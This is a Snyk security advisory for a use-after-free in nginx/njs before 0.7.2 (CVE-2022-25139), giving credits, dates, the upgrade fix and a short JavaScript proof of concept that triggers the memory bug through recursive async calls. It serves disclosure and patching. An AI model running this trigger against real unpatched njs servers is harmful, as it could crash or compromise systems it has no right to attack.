Use After Free Affecting nginx/njs package, versions [,0.7.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.38% (73rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Use After Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-NGINXNJS-2401469
  • published18 Feb 2022
  • disclosed15 Feb 2022
  • creditP1umer, afang5472, Kotori

Introduced: 15 Feb 2022

CVE-2022-25139  (opens in a new tab)
CWE-416  (opens in a new tab)

How to fix?

Upgrade nginx/njs to version 0.7.2 or higher.

Overview

Affected versions of this package are vulnerable to Use After Free due to improper recursive async in njs_await_fulfilled, which causes the PromiseCapability record to be linked to the incorrect execution context.

PoC:

function main() {
    async function v6(v7) {
        const v10 = v7(v7);
        const v11 = await "split";
        Object.values();
    }
    const v15 = v6(v6);
    }
main();

CVSS Scores

version 3.1